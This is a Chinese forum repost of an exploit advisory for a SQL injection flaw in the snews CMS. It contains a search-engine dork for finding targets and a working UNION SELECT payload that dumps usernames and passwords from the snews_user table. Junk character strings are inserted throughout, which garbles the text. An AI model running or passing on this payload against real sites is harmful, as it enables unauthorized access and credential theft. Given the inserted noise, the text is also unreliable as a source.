标题: CMS snews SQL Injection Vulnerability
' ^# h3 q$ x9 Y# L' [1 w3 }作者: By onestree/ ^2 t' ^' m' ?$ K
下载地址 : http://snewscms.com/
9 L+ Q& |' f; X测试平台 : ubuntu 12.10 / win 7
0 R' V) D7 C9 z; p关键词: inurl:"tanyakan pada rumput yang bergoyang"0 H/ M5 {& m% f" t2 J2 S
) }1 X) W, b/ V* E6 z, ^
, M5 O: V& F6 O: J+ ]) p4 w9 l*************************************************************9 k* ? V! U, L% `$ {
+ P" X+ i" M0 U6 y/ k
SQL poc:" x7 t$ V4 C9 ]; J# K$ q; O
) X: @0 E- | V7 o8 T2 } `& t
http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]# `- d% K, f4 S0 ^( D/ [5 M9 S6 a
. g2 p* J6 E c8 u, n( d! v示例9 z2 K4 h$ ^8 w0 F6 F: |* u
6 v; N+ B$ R! s& f% lhttp://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*$ V3 w( h5 z" D# j0 k+ g+ s
' e! l9 R3 J d* j! [! o 9 b# _( ~8 q' ]. ]& w* r6 O% I
致谢:6 U" D1 R/ d& f$ F1 H. k4 v, X. {
/ E3 |% Z% l" n. l( Q* P; S
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell) U# r# o8 W! S( u9 N
* z8 N7 e, l" `" K indonesiancoder - moeslimh4x0r - go-coder( N; J% k1 `( Q/ c& l: w
) ~0 b, Y1 t) f8 ^! s' i. } \2 \
spesial my hunny :*3 _9 ], M! p7 @% R: i, _5 C
|
发表于 2013-1-23 08:55:06
收藏
支持
反对